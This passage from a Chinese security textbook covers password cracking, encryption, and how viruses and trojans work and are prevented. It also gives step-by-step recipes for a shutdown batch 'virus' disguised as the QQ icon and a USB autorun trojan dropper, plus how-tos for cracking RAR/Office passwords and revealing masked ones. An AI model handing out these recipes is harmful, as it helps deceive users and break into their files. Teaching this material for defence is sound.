STEP06：选择待破解的Office文档 STEP07：查看破解的密码"},
    {"text": "5.3.2 破解压缩文件的打开密码 5.3.2 破解压缩文件的打开密码 破解压缩文件的打开密码需要使用RAR Password Unlocker，它是一款简单、易用、功能强大的WinRAR压缩文件密码破解工具，该软件能够破译所有版本的WinRAR压缩文件。使用RAR Password Unlocker破解WinRAR压缩文件密码之前，用户需要制作对应的字典文件，以便于快速破解。 STEP01：启动RAR Password Unlocker STEP02：选择字典破解 STEP03：设置选择字典文件 STEP04：选择字典文件 STEP05：单击“打开”按钮 提示：破解压缩文件密码的其他工具 除了使用RAR Password Unlock破解压缩文件密码外，用户还可以选择Advanced RAR Password Recovery软件来破解压缩文件的密码。 STEP06：选择待破解的压缩文件 STEP07：开始破解密码 STEP08：查看破解的结果 5.3.3 查看星号密码 5.3.3 查看星号密码 星号密码是指用星号显示输入或者设置的密码，达到输入密码时防止他人偷窥的目的。从表面上看，星号密码不会被轻易破解，但是对于黑客来说，只需使用特定的工具，就能查看星号密文背后隐藏的密码信息。 STEP01：选择用户账户和家庭安全 STEP02：选择用户账户 STEP03：选择更改密码 STEP04：输入当前密码和新密码 STEP05：启动星号密码查看器 STEP06：单击头像图标 STEP07：拖至星号密码所在位置 STEP08：查看密码 5.4 防范密码被轻易破解 5.4 防范密码被轻易破解 无论是什么类型的密码，用户在设置时都要非常小心，防止自己所设置的密码被他人轻易破解。为了保护重要的文件和资料，用户可以采用不同的加密工具进行加密，既可以选择Windows 7系统自带的BitLocker，也可以选择在Internet中非常出名的加密工具——隐身侠。 5.4.1 设置安全系数较高的密码 一个安全系数较高的密码可以让黑客破解的难度增大，也就是说提高了密码的安全性。而安全系数较高的密码可以说是复杂的密码，因此在设置复杂密码时一定要注意以下7点： （1）使用大/小写字母、数字和符号的组合。 （2）密码位数不能低于6位，并且密码中包含的字符越多，就越难被猜中。 （3）不同的账户要设置不同的密码，切勿为所有账户设置相同的密码。 （4）养成定期更改密码的习惯。建议在每个月的第一天或者在每个支付日更改密码。 （5）切勿将密码写在记事本上，也切勿把密码透露给其他人。 （6）切勿使用自己的姓名或与自己有关联的数字作为密码，如出生日期或者昵称等。 （7）避免使用容易被获取的个人信息，如车牌号码、电话号码、社会安全号码、私人汽车的品牌或型号，以及家庭住址等。 5.4.2 使用隐身侠加密保护文件 5.4.2 使用隐身侠加密保护文件 隐身侠是一款用于保护计算机及移动存储设备中的重要文件、私密信息的加密软件。该软件之所以叫隐身侠，是因为在使用隐身侠的时候用户只有双击“计算机”图标才能看到隐身侠保险箱，在未使用该软件时是查看不到隐身侠保险箱的。而存在保险箱内的重要资料将始终保持在高强度加密系统之内，除了自己，谁都看不到，也打不开。 1.创建保险箱 隐身侠提供了创建保险箱的功能。所谓保险箱就是从某一磁盘分区中划分出来的可用分区，在创建过程中，用户需要指定保险箱创建的位置、容量以及名称等信息。 STEP01：启动隐身侠 STEP02：输入账号和密码 STEP03：选择创建保险箱 STEP04：创建保险箱 STEP05：正在创建保险箱 STEP06：查看创建的保险箱 2.将文件添加到保险箱中 完成保险箱的创建后，用户便可以将系统中的重要文件添加到保险箱中，以确保这些文件的安全。 STEP01：单击“加密”按钮 STEP02：单击“添加文件”按钮 STEP03：选择要加密的文件 STEP04：添加其他文件 STEP05：选择保险箱 STEP06：正在加密文件 STEP07：加密完成 STEP08：查看创建的保险箱 提示：切勿轻易删除保险箱 使用隐身侠创建保险箱并向其中添加文件后，切勿轻易删除保险箱，一旦删除了保险箱，则保险箱内的文件也会一同被删除。因此若确定要删除保险箱，则首先要将保险箱中的文件移动到其他磁盘分区中，然后才能在“隐身侠”主界面中删除该保险箱。"},
    {"text": "5.4.3 使用Bitlocker强化系统安全 5.4.3 使用Bitlocker强化系统安全 Microsoft公司在Windows 7中为用户提供了BitLocker加密技术。该技术能够同时支持FAT和NTFS两种文件格式，可以用来加密保护指定的磁盘分区，当加密的磁盘分区中没有重要数据时，便可解除BitLocker加密。 1.加密系统分区 使用BitLocker加密系统分区时，首先需要选择待加密的分区，然后设置密码和恢复密钥的保存位置。 STEP01：选择BitLocker驱动器加密 STEP02：启用指定分区的BitLocker STEP03：设置密码 STEP04：选择恢复密钥的保存位置 STEP05：选择USB设备 STEP06：单击“下一步”按钮 STEP07：正在加密磁盘分区 此时可看见BitLocker正在加密所选的磁盘分区。 STEP08：加密完成 STEP09：查看加密后的磁盘分区 提示：BitLocker加密的缺陷 BitLocker加密的缺陷是，一旦打开加密盘后，再次进入就不需输入密码了。若要再次锁定该分区，可利用manage-bde-lock X：命令实现，X为加密磁盘盘符。 2.解除BitLocker加密 当加密的磁盘分区中没有重要文件时，则可以解除BitLocker加密，只需关闭指定分区的BitLocker加密功能即可实现。 STEP01：选择关闭BitLocker STEP02：选择解密磁盘分区 提示：管理BitLocker 当某一磁盘分区已完成BitLocker加密后，打开BitLocker界面，选择要解除的分区，单击“管理BitLocker”链接，弹出对话框，便可在界面中执行更改\\删除加密密码、再次保存或打印恢复密钥以及自动解锁驱动器等操作。 STEP03：正在解密 此时可看见解除Bitlocker加密的进度，耐心等待即可。 STEP04：解密完成 第6章 病毒攻防 第6章 病毒攻防 在Internet中，计算机病毒是一种威胁计算机安全的程序，对于计算机病毒，用户不仅需要掌握其基础知识，而且还要认识常见的病毒以及简单病毒的制作方法。无论是病毒的基础知识还是制作简单病毒，用户都需要掌握防御病毒的有效措施和专业软件。 知识要点 ·认识病毒的分类 ·认识病毒常见的传播途径 ·制作Restart病毒 ·制作U盘病毒 ·掌握防范病毒的常用措施 ·使用杀毒软件查杀病毒"},
    {"text": "第6章 病毒攻防 6.1 认识病毒 计算机病毒并不是由于突发或者偶然因素产生的，它是由人为编写所产生的程序。计算机病毒能够破坏计算机功能或数据、影响计算机使用，并且能够自我复制。用户若要全面认识病毒，则需要了解病毒的分类、特征、传播途径以及计算机中毒后的常见症状。 6.1.1 认识病毒的分类 Internet中存在着数不胜数的计算机病毒，并且它们的分类也没有固定的标准，同一种病毒按照不同的分类标准可能属于不同的类型。常见的划分标准有：按照操作系统分类，按照传播媒介分类，按照链接形式分类或按照病毒的破坏情况分类。 1.按照操作系统分类 按照操作系统可以将计算机病毒分为攻击Windows系统的病毒、攻击UNIX和Linux系统的病毒两种。 （1）攻击Windows系统的病毒：该类病毒也称为Windows病毒。由于Windows操作系统的广泛使用，该系统成为了计算机病毒攻击的主要对象。攻击Windows系统的病毒除了感染文件的病毒外，还有各种宏病毒，包括感染Office文件的病毒。其中Concept病毒就是一款比较著名的Word宏病毒。 （2）攻击UNIX和Linux系统的病毒：UNIX和Linux曾经是免遭病毒侵袭的操作系统，但是随着计算机病毒技术的发展，病毒的目标也开始瞄准了UNIX和Linux。Bliss病毒是一款比较著名的攻击Linux系统的病毒，接着又出现了能够跨平台的Win32.Winux病毒，它能够同时感染Windows系统中的PE文件和Linux系统中的ELF文件。 提示：攻击其他操作系统的病毒 除了常见的攻击Windows系统的病毒和攻击UNIX和Linux系统的病毒之外，Internet中还有攻击其他操作系统的病毒，例如攻击Mac OS操作系统的MacMag病毒，攻击智能手机操作系统的VBS.Timofonica病毒等。 2.按照传播媒介分类 按照传播媒介可以将计算机病毒分为单机病毒和网络病毒两种。 （1）单机病毒：单机病毒的载体是磁盘，这类病毒会通过磁盘感染操作系统，然后再感染其他磁盘、可移动设备等，进而感染其他的计算机。早期的计算机病毒都属于此类。 （2）网络病毒：网络病毒的传播媒介是Internet。在当今社会中，Internet在世界上发展迅速，越来越多的计算机用户开始上网。随着Internet用户的增加，网络病毒的传播速度更快，范围更广，造成的危害更大。网络病毒往往会造成网络堵塞、修改网页，甚至与其他病毒结合修改或破坏文件。如GPI病毒是世界上第一个专门攻击计算机网络的病毒，而CIH、Sircam、Code RedXode Red H Xode Blue、Nimda.a等病毒在Internet中肆虐的程度越来越严重，已经成为病毒中危害程度最大的种类。 3.按照链接形式分类 计算机病毒必须进入系统后才能进行感染和破坏操作，因此计算机病毒必须与操作系统内可能被执行的文件建立链接。这些被链接的文件既可能是系统文件，又可能是应用程序，还可能是应用程序所用到的数据文件（如Word文档）。根据计算机病毒对这些文件的链接形式不同，分为可执行文件感染病毒和操作系统型病毒两种。 （1）可执行文件感染病毒：这类病毒感染可执行程序，将病毒代码和可执行程序联系起来，当可执行程序被执行时，病毒会随之启动。 （2）操作系统型病毒：这类病毒程序用自己的逻辑部分取代一部分操作系统中的合法程序模块，从而寄生在系统分区中，启动计算机时，病毒程序被优先运行，然后再运行启动程序，这类病毒具有很强的破坏力，可以使系统无法启动，甚至瘫痪。 提示：源码型病毒 源码型病毒在高级语言（如FORTRAN、C、Pascal等语言）所编写的程序被编译之前插入源程序之中，经过编译后成为合法程序的一部分。这类病毒一般寄生在编译处理程序链接程序中。目前这种病毒并不多见。 4.按照病毒的破坏情况分类 按照病毒的破坏情况，可以将计算机病毒分为良性病毒和恶性病毒两种。 （1）良性病毒：良性病毒是指那些只表现自己，而不破坏操作系统的病毒。这类病毒多出自一些恶作剧者之手，制造者编制该类病毒的目的不是为了破坏计算机系统，而是为了显示自己在编程方面的技巧和才华。虽然这类病毒的没有破坏性，但是它们会影响操作系统的正常运行，占用计算机资源。 （2）恶性病毒：相比于良性病毒，恶性病毒就显得比较可怕了。这类病毒具有破坏系统信息资源的功能，有些恶性病毒能够删除操作系统中存储的数据和文件；有些恶性病毒随意对磁盘进行写入操作，从表面上看不出病毒破坏的痕迹，但文件和数据的内容已被改变；还有一些恶性病毒格式化整个磁盘或特定扇区，使磁盘中的数据全部消失。"},
    {"text": "6.1.2 认识病毒的特征 6.1.2 认识病毒的特征 虽然Interent中存在着数不胜数的病毒，并且分类也不统一，但是它们的特征可以大致概括为：破坏性、传染性、隐蔽性、潜伏性和不可预见性5种。 1.破坏性 计算机遭受病毒入侵后，可能会导致正常的程序无法运行，病毒按照内置的指令对计算机内的文件进行删除、修改等操作，甚至还可能会格式化磁盘分区。 2.传染性 计算机不但具有破坏性，更可怕的是它还具有传染性。传染性是计算机病毒的基本特征，一旦病毒被复制或者产生变种，其传播速度快得令人难以预防。 3.隐蔽性 计算机病毒成功入侵系统后，目标计算机仍然可以正常运行，被感染的程序也能正常运行，用户不会感到明显的异常。这是因为病毒在入侵系统后会自动隐藏在系统中，直到满足提前设置的触发条件时，该病毒才会根据指令来破坏操作系统或文件。 4.潜伏性 计算机病毒的潜伏性主要表现在两方面：第一方面是指用户若不使用专业的检测程序（通常是指杀毒软件）无法检测出系统中潜在的计算机病毒，因此计算机病毒可以在系统中静静地待上几天、几个月，甚至几年，一旦时机成熟，就会继续繁殖和传播；第二方面是指计算机病毒内部被预设了一种触发机制，不满足触发条件时，计算机病毒除了传染外将不会进行任何的破坏，一旦触发条件满足，它将会对操作系统造成极大的破坏。 5.不可预见性 随着科学技术的发展，病毒的制作技术也在不断地提高，计算机病毒永远走在杀毒软件的前面。新操作系统和应用软件的出现，会为计算机病毒提供新的空间，这也使得对未来病毒的预测更加困难，因此用户需要不断提高对计算机病毒的认识，同时增强防范病毒的意识。 提示：夺取系统控制权 计算机病毒成功入侵目标计算机后，通常会夺取该操作系统的控制权，从而达到感染和破坏系统的目的。反病毒技术也正是抓住了计算机病毒的这一特点，而抢在病毒之前掌握系统控制权，从而阻止了计算机病毒夺取的操作。 6.1.3 认识病毒常见的传播途径 6.1.3 认识病毒常见的传播途径 虽然计算机病毒具有传染性，但是它若想从当前操作系统中传播到其他地方，则需要通过一定的途径才能进行传播。常见的计算机病毒传播途径包括可移动存储设备、局域网和Internet。 1.利用可移动存储设备传播 通过可移动存储设备传播是指计算机病毒通过连接到计算机上的U盘、移动硬盘和手机等移动存储设备进行传播。由于U盘具有携带方便的特点，因此它为计算机病毒的寄生提供了更为充裕的空间。由于目前U盘病毒逐渐增加，使得U盘逐渐成为病毒传播的主要途径之一。 2.利用局域网传播 局域网由相互连接的一组计算机组成，这是数据共享和相互协作的需要。组成局域网的每一台计算机都能连接到局域网中的其他计算机，因此数据也能从一台计算机发送到局域网中的其他计算机中。当发送的数据已感染病毒，则接收该数据的计算机就可能会感染病毒，如果该数据继续传播，则它所携带的病毒将会感染局域网中的所有计算机。虽然局域网的出现为企业的发展做出了巨大的贡献，但是它也为病毒的快速传播铺平了道路。 3.利用Interent传播 随着Internet的快速发展和普及，使得用户在下载电子邮件附件、浏览网页和下载网络资源时，都可能被计算机病毒感染，因此Internet成为了计算机病毒传播的最主要的传播方式。"},
    {"text": "6.1.4 认识计算机中毒后的常见症状 6.1.4 认识计算机中毒后的常见症状 虽然隐藏在系统中的计算机病毒并不容易被用户发现，但是用户可以通过一些常见的症状来判断自己的计算机是否存在病毒。这些常见的症状主要包括：CPU使用率始终保持在95%以上、IE浏览器窗口连续打开、杀毒软件被屏蔽、系统中的文件图标变成统一图标及系统时间被更改。 1.CPU使用率始终保持在95%以上 当发现CPU使用率始终保持在95%以上时，用户就要考虑系统中是否存在计算机病毒了。这是因为某些计算机病毒会不断地占用CPU使用率和系统内存，直至计算机死机。如果计算机处于死机状态，而主机箱上的硬盘指示灯仍然长时间地闪动，则很有可能是潜伏在系统中的计算机病毒已被激活。 2.IE浏览器窗口连续打开 当某些病毒被激活后，一旦用户启动IE浏览器，程序就会自动打开无限多的窗口，既占用系统资源，又影响用户的正常工作。即使用户手动关闭了窗口，但是系统仍然会弹出更多的窗口。遇到此种情况时，则需要利用杀毒软件进行扫描并查杀。 3.杀毒软件被屏蔽 杀毒软件往往都具有针对性，也就是说，杀毒软件只能查杀自己病毒库中已经保存的病毒，无法查杀不在该库中的病毒。因此很多病毒通过层层伪装来躲避杀毒软件的检测和查杀，一旦它成功运行，杀毒软件将会被屏蔽，即杀毒软件无法正常扫描和查杀病毒。一旦出现这种情况，就只能重装系统或者使用在线查杀功能。 4.系统中的文件图标变成统一图标 某些病毒会导致磁盘中所保存文件的图标都变成统一的图标，并且无法使用或打开。“熊猫烧香”就是这样一种病毒，当系统中的“熊猫烧香”病毒成功运行后，磁盘分区中的所有文件都会显示为熊猫烧香的图标。 5.系统时间被更改 有些病毒会自动修改系统显示的时间，一旦该类病毒运行，则用户每次启动计算机后系统都会显示指定时间，即使将其修改为准确时间，但是重新启动计算机后系统又会显示指定时间。 6.2 学会制作简单的病毒 6.2 学会制作简单的病毒 病毒的制作并不是一朝一夕就能够完成的，通常制作病毒的黑客高手都掌握了至少一门编程语言，并且他们拥有十分严密的逻辑推理能力。本节将介绍两款简单病毒的制作方法，即Restart病毒和U盘病毒。 6.2.1 制作Restart病毒 Restart病毒是一种能够让计算机自动重新启动的病毒，该类病毒主要是通过简单的DOS命令来实现的，即shutdown/r命令。首先创建含有shutdown/r命令的bat文件，然后创建该文件对应的快捷方式，最后将该快捷方式修改为用户经常使用的图标。一旦用户双击该图标，计算机便会自动重启，此时系统的数据可能就会全部丢失。 STEP01：启动记事本程序 STEP02：输入命令 打开记事本窗口，输入shutdown/r命令，即自动重新启动本地计算机。 STEP03：保存输入的命令 STEP04：设置保存位置和文件名 STEP05：选择重命名记事本 STEP06：修改记事本的扩展名 STEP07：选择创建快捷方式 STEP08：单击“属性”命令 STEP09：选择更改图标 STEP10：单击“确定”按钮 STEP11：单击“浏览”按钮 STEP12：选择ICO图标 STEP13：查看选择的ico图标 STEP14：单击“确定”按钮 STEP15：查看修改图标后的快捷图标 STEP16：单击“属性”命令 提示：修改快捷图标名称需注意的问题 修改快捷图标名称时，若桌面上已经显示了一个QQ图标，则首先需要利用【Shift+Del】组合键将其彻底删除，然后再重命名快捷方式图标，否则将无法成功命名为“腾讯QQ”。 STEP17：设置文件属性为隐藏 STEP18：单击“文件夹选项”命令 STEP19：设置不显示隐藏文件夹 STEP20：查看设置后的快捷图标 6.2.2 制作U盘病毒 6.2.2 制作U盘病毒 所谓U盘病毒，顾名思义就是通过U盘传播的病毒。U盘病毒又称Autorun病毒，它是通过AutoRun.inf文件来入侵操作系统的。能通过产生AutoRun.inf文件传播的病毒都可以称为U盘病毒。随着U盘、移动硬盘、存储卡等移动存储设备的普及，U盘病毒也开始泛滥。病毒首先向U盘写入病毒程序，然后更改Autorun.inf文件。Autorun.inf文件记录了用户选择何种程序来打开U盘，一旦Autorun.inf文件指向病毒程序，那么操作系统就会运行这个程序，从而引发病毒。下面介绍制作简单U盘病毒的操作方法。 STEP01：查看快捷菜单 STEP02：将木马或病毒复制到U盘中 将制作好的病毒或者木马程序复制到桌面上，然后选中该木马程序不放，将其拖动至U盘窗口中，当显示“复制到……”时释放鼠标左键。 STEP03：新建Autorun.inf文件 STEP04：确认更改文件扩展名 STEP05：编写Autorun.inf文件代码 双击Autorun.inf文件打开编辑窗口，编辑对应的文件代码，使得双击U盘图标后自动运行指定的木马程序。 STEP06：单击“属性”命令 STEP07：设置文件为隐藏属性 STEP08：单击“文件夹选项”命令 STEP09：设置不显示隐藏文件 STEP10：查看设置后的显示效果 将U盘接入装有Windows XP系统的计算机，右击U盘对应的图标，在快捷菜单中可看见Auto命令，即设置成功。 提示：U盘病毒同样会入侵Windows 7系统 在STEP10中，虽然只介绍了在Windows XP系统中查看带有病毒的U盘，但是U盘病毒同样会入侵Windows 7系统，也就是说将带有病毒的U盘接入另外一台装有Windows 7系统的计算机，如果利用双击操作打开U盘，U盘病毒同样会存在于Windows 7系统中。"},
    {"text": "6.3 预防和查杀计算机病毒 6.3 预防和查杀计算机病毒 随着时间的推移，Internet中的病毒将会有增无减，并且种类越来越多，功能越来越强大，因此用户需要做好计算机病毒的预防措施，并且还需要在计算机中安装杀毒软件，不定期扫描并查杀计算机中潜藏的病毒。 6.3.1 掌握防范病毒的常用措施 虽然计算机病毒越来越猖獗，但是用户一旦掌握了防范病毒入侵的常用措施，就能够将绝大部分的病毒拒之于门外。防范病毒常见的措施主要包括安装杀毒软件、不轻易打开网页中的广告、注意利用QQ传送的文件和发送的消息以及警惕陌生人发来的电子邮件。 1.安装杀毒软件 杀毒软件，又称反病毒软件或防毒软件，主要用于查杀计算机中的病毒。杀毒软件通常集成了监控识别的功能，一旦计算机启动，杀毒软件就会随之启动，并且在计算机运行的时间内监控系统中是否有潜在的病毒，一旦发现便会通知用户进行对应的操作（包括隔离感染文件、清除病毒以及不执行任何操作3种）。因此当用户在计算机中安装杀毒软件后，一定要将其设为开机启动项，这样才能保证计算机的安全。目前Internet中常见的杀毒软件主要有瑞星杀毒软件和360杀毒软件两种。 2.不轻易打开网页中的广告 Internet中提供了不少的资源下载网站（例如天空软件站、华军软件园、多特软件站等），但是这些网站的安全系数并不高。虽然这些网站提供的资源绝大部分都没有携带病毒，但是在资源下载网页中有着不少的广告信息，这些信息就可能是一个病毒陷阱，一旦用户因为好奇而查看了这些广告信息，这些信息携带的病毒就会入侵到本地计算机。因此切勿轻易查看网页中的广告。 3.注意利用QQ传送的文件和发送的消息 腾讯QQ是国内使用最广泛的即时通信工具之一，黑客通常会利用它来向对方发送文件或者消息，如果用户稍不小心就会让自己的计算机遭受病毒的入侵。当对方向自己传送文件时，如果所发送的文件携带了病毒，一旦自己接收并打开，就会使计算机中毒；如果对方发送含有病毒的网址链接，一旦单击该链接，也会使计算机中毒。 提示：QQ的自动检测网站功能 腾讯QQ具有自动检测网站功能，它能够检测对方所发网址对应网站的安全性，当网址最左侧显示带钩状图标 时，表示该网址对应的网站是安全的，可以直接打开；当显示带问号的图标 时，则表示该网址对应的网站安全性未知，需要在开启杀毒软件的情况下打开，这样一来，即使该网站带有病毒，杀毒软件也会提醒并阻止病毒；当显示带叉状图标 时，则表示该网址对应的网站存在危险，切勿打开。 4.注意陌生人发来的电子邮件 电子邮箱是Internet中使用频率较高的通信工具之一，利用它，用户可以用非常低廉的价格，以非常快速的方式向Internet中的任何一位用户发送邮件。 正因为其通信范围广的特点，使得许多黑客开始利用电子邮件来传播病毒，例如将携带病毒的文件添加为附件,发送给Internet中的其他用户，一旦下载并运行该附件，计算机就会中毒。另外，一些黑客将携带病毒的广告邮件发送给其他用户，一旦浏览这些邮件中的链接，就有可能使计算机中毒。 因此建议用户不要轻易打开陌生人发来的广告邮件和附件，如果需要查看附件，则应先将其下载到本地计算机中后使用杀毒软件扫描一下，确保安全后再将其打开。"},
    {"text": "6.3.2 使用杀毒软件查杀病毒 6.3.2 使用杀毒软件查杀病毒 如果用户对计算机的使用不是很熟练的话，就需要借助于杀毒软件来保护计算机的安全，杀毒软件不仅具有防止外界病毒入侵计算机的功能，而且还能够查杀计算机中潜伏的计算机病毒。这里以瑞星杀毒软件和360杀毒软件为例介绍查杀病毒的操作方法。 1.瑞星杀毒软件 瑞星杀毒软件是一款由瑞星公司推出的杀毒软件，该软件从2011年开始便可永久免费使用。该款杀毒软件采用获得欧盟及中国专利的6项核心技术，形成全新的软件内核代码。它具有八大绝技和多种应用特性，是目前国内外同类产品中最具实用价值和安全保障的杀毒软件产品之一。使用该杀毒软件时，用户首先需要升级病毒库，然后再查杀计算机中的病毒。 STEP01：启动瑞星杀毒软件 STEP02：选择更新杀毒软件 STEP03：下载安装程序 在弹出的对话框中可看见下载安装程序的当前进度和总体进度，请耐心等待。 STEP04：安装升级程序 下载完毕后便开始安装升级程序，安装过程需要花费一定的时间。 STEP05：升级完成 STEP06：查看升级后的软件版本 STEP07：选择快速查杀 STEP08：正在快速查杀 快速查杀会扫描计算机中容易存在病毒的位置，例如内存等关键区域。快速扫描的时间较短，几分钟便可完成。 STEP09：扫描完成 STEP10：选择全盘查杀 STEP11：正在全盘查杀 全盘查杀会扫描所有的系统关键区域和所有的磁盘分区。快速扫描的时间较长，短则几十分钟，长则几个小时。 STEP12：查看查杀结果 扫描完成后若发现病毒，则软件会自动将其删除，并显示提示信息。 2.360杀毒软件 360杀毒软件是由360安全中心推出的一款云安全杀毒软件，该软件具有查杀率高、资源占用少、升级迅速的优点。同时该杀毒软件可以与其他杀毒软件共存。使用360杀毒软件同样需要首先升级病毒库，然后再进行查杀操作。 STEP01：选择检查更新 STEP02：确认病毒库为最新 提示：360杀毒软件的升级设置 若要调整360杀毒软件的升级设置，①在其主界面右上角单击“设置”按钮，②在“设置”对话框中选择“自动升级病毒特征库及程序”选项，③单击“确定”按钮保存并退出。 STEP03：选择快速扫描 STEP04：正在快速扫描 此时可看见快速扫描的扫描对象、发现威胁等信息，等待一段时间。 STEP05：开始处理扫描出的威胁对象 STEP06：确定进行全盘扫描 STEP07：正在全盘扫描 此时可看见全盘扫描的扫描对象、发现威胁等信息，等待一段时间。 STEP08：开始处理威胁对象 STEP09：正在处理威胁对象 此时可看见软件自动将扫描出的威胁对象删除，以解除威胁。 STEP10：评价本次扫描结果 第7章 木马攻防 第7章 木马攻防 在Internet中，木马是一类对计算机具有强大的控制和破坏能力、以窃取账户密码和偷窥重要信息为目的的程序。通过本章的学习，用户可以了解木马的基础知识，及一些简单木马的制作方法。对于用户而言，这些都不是重点，重点在于如何防范木马入侵自己的计算机，这部分内容是本章介绍的主要内容。 知识要点 ·认识木马的组成 ·认识木马的分类 ·认识“冰河”木马 ·为木马添加防杀功能 ·掌握防范木马入侵的常见措施 ·使用第三方软件查杀木马 第7章 木马攻防 7.1 认识木马 木马原意是指“特洛伊木马”，在著名的特洛伊战争中，古希腊人依靠藏匿于巨型木马腹中的勇士，攻陷了特洛伊城。而在计算机领域，该计策被黑客们所借用，计算机木马的设计者套用了特洛伊木马战争中相同的思路，将木马隐藏在正常程序中，一旦其他用户运行该程序，木马就会潜入其计算机，从而让黑客能够对该计算机实施非法操作。 7.1.1 认识木马的组成 一个完整的木马由3部分组成，分别是硬件部分、软件部分和具体连接部分。这3部分各有不同的功能。 1.硬件部分 木马的硬件部分是指建立木马连接所必需的硬件实体，主要包括控制端、服务端和Internet三部分。 （1）控制端：对服务端进行远程控制的一端。 （2）服务端：被控制端远程控制的一端。 （3）Internet：Internet是数据传输的网络载体，控制端通过它远程控制服务端。 2.软件部分 软件部分是指实现远程控制所必需的软件程序，主要包括控制端程序、服务端程序和木马配置程序3部分。 （1）控制端程序：控制端用于远程控制服务端的程序。 （2）服务端程序：又称为木马程序，它潜伏在服务端内部，以获得目标计算机的操作权限。 （3）木马配置程序：用于设置木马程序的端口号、触发条件、木马名称等属性，使得服务端程序在目标计算机中潜藏得更加隐蔽。 3.具体连接部分 具体连接部分是指通过Internet在服务端和控制端之间建立一条木马通道所必需的元素，它包括控制端/服务端IP和控制端/服务端端口两部分。 （1）控制端/服务端IP：指木马控制端和服务端的网络地址，它是木马传输数据的目的地。 （2）控制端/服务端端口：指木马控制端和服务端的数据入口，通过这个入口，数据可以直达控制端程序或服务端程序。"},
    {"text": "7.1.2 认识木马的分类 7.1.2 认识木马的分类 在Internet中，木马可以说是多如牛毛。随着计算机技术的发展，现在的木马不仅具有单一的功能，而是集多种功能于一身。根据功能可以将木马分为远程控制木马、密码发送木马、键盘记录木马、破坏性木马等。 1.远程控制木马 远程控制木马是一类危害性最大且知名度最高的木马程序。该类木马可以让黑客完全控制被成功入侵的计算机。攻击者可以利用它完成一些甚至连计算机机主都不能顺利进行的操作。 由于要达到远程控制的目的，所以，该种类的木马往往集成了其他功能，使得黑客可以在目标计算机上为所欲为，例如可以任意访问文件。获取目标计算机用户的私人信息，包括信用卡、银行账号等至关重要的信息。比较著名的远程控制木马有灰鸽子、冰河等。 2.密码发送木马 密码发送木马是一类用于盗取目标计算机中密码的木马。这类木马一旦入侵成功，就会自动搜索内存、Cache、临时文件夹以及各种敏感密码文件。如果搜索到有用的账户密码，就会将其发送到指定的电子邮箱中，从而达到盗取密码的目的。这类木马通常采用25号端口发送电子邮件。 3.键盘记录木马 键盘记录木马通常只做一件事情，那就是记录目标计算机键盘敲击的按键信息，并且在LOG文件中查找密码。这类木马随着Windows系统的启动而启动，且拥有在线和离线记录选项。键盘记录木马能够记录用户在使用电脑过程中按过哪些键。这样一来，黑客就能通过这些按键来获取用户账户密码等信息。当然，这类木马也需要具有邮件发送功能。 4.破坏性木马 破坏性木马唯一的功能就是破坏目标计算机中的文件，使其系统崩溃或者丢失重要数据。从这一点来说，它与病毒很相像。不过，一般来说，这种木马的触发机制是由黑客控制的，并且传播能力也比病毒逊色很多。 7.1.3 认识木马的特征 7.1.3 认识木马的特征 虽然Internet中存在形形色色的木马程序，但是总的来说，这些木马的特征主要包括隐蔽性、自动运行性、欺骗性、自动恢复和自动打开端口5种。 1.隐蔽性 隐蔽性是指木马必须隐藏在目标计算机中，以免被用户发现。这是因为木马设计者不会轻易就让用户发现木马程序。木马的隐蔽性主要体现在两个方面：第一是不会在目标计算机中产生快捷图标，第二是木马程序会自动在任务管理器中隐藏，并以“系统服务”的形式存在，以欺骗操作系统。 2.自动运行性 木马的自动运行性是指木马会随着计算机系统的启动而自动运行，所以木马必须潜入计算机的启动配置文件中，如启动组或系统进程。直到，目标计算机关闭时，木马才会停止运行。 3.欺骗性 木马之所以具有欺骗性是为了防止一眼就被计算机用户认出。为此，被木马感染的文件一般都使用常见的文件名或扩展名，或者仿制一些不易被人区分的文件名，甚至干脆借用系统文件中已有的文件名，只不过它们被保存在不同的路径之中。 4.自动恢复 木马的自动恢复是指当木马的某一功能模块丢失时，它能够自动恢复为丢失前的状态。现在很多木马的功能模块已不再是由单一的文件所组成，而是有多重备份，可以相互恢复的文件。 5.自动打开端口 木马潜入目标计算机的目的主要不是为了破坏文件，而是为了获取目标计算机中的有用信息，因此就需要保证能与目标计算机进行通信。木马会采用服务器/客户端的通信手段把获取到的有用信息传递给黑客，以便黑客能控制该计算机或者实现更进一步的入侵企图。 7.1.4 认识木马的入侵方式 7.1.4 认识木马的入侵方式 木马入侵计算机的方式并不像木马的数量那样多，概括起来，木马的入侵方式主要有加载到启动组、修改文件关联以及捆绑文件3种。 1.加载到启动组 在Windows系统中，启动组包括那些随着系统的启动而启动的应用程序，这里通常也是木马最好的隐藏场所，虽然启动组并不是十分隐蔽，但是它却是自动加载运行木马的好场所，因此有不少木马会选择入侵到启动组中。Windows 7中启动组的保存路径为:C:\\Users\\＜用户名＞\\App Data\\Roaming\\Microsoft\\Windows\\[开始]菜单\\启动；Windows 7中启动组在注册表中的位置为：HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders Startup=\"C:\\Users\\John\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\"。 2.修改文件关联 修改文件关联是木马常用的入侵手段。以TXT文件为例，正常情况下，TXT文件是通过Notepad.exe程序打开的，但是一旦中了关联木马之后，TXT文件就会通过木马程序来打开，而不是Notepad.exe程序。除了TXT文件之外，HTM、EXE、ZIP、COM等文件都是木马的目标。用户若要防范这类木马，可以检查注册表中HKEY_CLASSES_ROOT/文件类型/shell/open/command主键，查看其键值是否正常。 3.捆绑文件 黑客若要实现捆绑文件入侵，首先需要将自己的计算机与目标计算机通过木马建立连接，使用捆绑软件把木马程序服务端与正常的应用程序或文件捆绑起来。然后将其上传到目标计算机中覆盖原文件，这样一来，即使计算机中的木马被清除了，只要运行捆绑了木马的应用程序，木马又会被重新安装。如果系统文件与木马程序绑定，那么每次启动Windows系统时木马都会随之启动。"},
